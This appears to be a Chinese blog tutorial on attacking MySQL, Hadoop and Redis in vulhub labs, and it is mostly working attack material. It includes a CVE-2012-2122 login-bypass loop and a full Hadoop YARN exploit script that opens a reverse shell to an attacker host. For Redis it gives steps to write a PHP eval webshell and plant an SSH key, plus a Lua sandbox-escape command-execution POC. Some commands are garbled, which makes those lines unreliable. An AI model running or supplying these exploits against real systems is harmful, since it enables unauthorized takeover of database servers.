数据库安全(Mysql,Hadoop,Redis)

MySQL

Mysql 身份认证绕过漏洞(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

这是MySQL已知的唯一漏洞,下面通过vulhub容器复现

环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。

漏洞验证

在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

此外,就是尝试账号密码爆破,要注意的是,MySQL默认配置本地登录root用户,远程的连接请求是拒绝的,可以通过如phpmyadmin等数据库管理工具,通过本地到本地的过程来测试

Hadoop

漏洞原因:

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

这里推荐一个靶场 vulfocus.io,不知道为什么启动失败了,后面开启了一个vulhub的容器

启动环境,访问/cluster/apps,如果界面存在,就有未授权访问漏洞

使用官方EXP,可以在vulhub.org下载

python 复制代码
#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 

漏洞修复:

关闭Web管理界面,设置安全组和防火墙,限制只有信任的IP才可以访问hadoop的50070等端口

Redis

redis是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value数据库。

Redis未授权

redis的redis.conf配置条件有一个bind 127.0.0.1,如果这个选项开启,只有本机才能访问redis,否则,任何ip都可以访问,此外,还有一个叫protected-mode 安全模式默认为no不开启,此外,连接redis后,可以通过config set requirepass 123456 来设置密码,否则redis就没有密码,可以通过

redis-cli -h ip地址直接连接

这里我先把所有安全措施关闭,模拟配置不当导致漏洞,利用条件

**写webshell:**需Web路径,Web目录权限可读写,可尝试tmp目录

写定时任务反弹shell: bind和安全模式都未开启

config get dir #查看redis数据库路径

config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径

config set dbfilename 22.php #生成22.php文件

set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中

#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接

save#保存

**写入linux ssh-key公钥:**除以上权限,要求root权限,允许密钥登录

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "n",;cat id _rsa.pub,;echo -e "n") > key.txt

cat key.txt I redis-cli -h 118.31.57.214 -h set yc

config set dir /root/ssh/

config set dbfilename authorized _keys

save

cd /root/ ssh/

ssh - id_rsa root118.31.57.214

主从复制反弹shell

由于在Reids 4.x及以上版本5版本以下中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

可以下载一个利用工具:git clone https://github.com/vulhub/redis-rogue-getshell.git

Redis 沙盒转义和远程代码执行

存在此漏洞是因为 Debian/Ubuntu 中的 Lua 库是作为动态库提供的。自动填充一个变量,该变量又允许访问任意 Lua 功能。package

例如,正如这扩展到,您可以使用从liblua加载模块,然后使用此模块执行命令:package.loadlib

POC: eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

MSF破解redis密码

此外还可以考虑使用msf等工具对密码进行爆破

相关推荐
古驿幽情几秒前
CentOS AppStream 8 手动更新 yum源
linux·运维·centos·yum
猿小喵1 分钟前
DBA之路,始于足下
数据库·dba
BillKu1 分钟前
Linux(CentOS)安装 Nginx
linux·运维·nginx·centos
BillKu5 分钟前
Linux(CentOS)yum update -y 事故
linux·运维·centos
a266378969 分钟前
解决yum命令报错“Could not resolve host: mirrorlist.centos.org
linux·运维·centos
tyler_download10 分钟前
golang 实现比特币内核:实现基于椭圆曲线的数字签名和验证
开发语言·数据库·golang
小春学渗透12 分钟前
Day107:代码审计-PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证
开发语言·安全·web安全·php·mvc
weixin_4493108436 分钟前
高效集成:聚水潭采购数据同步到MySQL
android·数据库·mysql
落樱坠入星野1 小时前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
不爱学习的YY酱1 小时前
【计网不挂科】计算机网络期末考试——【选择题&填空题&判断题&简述题】试卷(4)
网络·计算机网络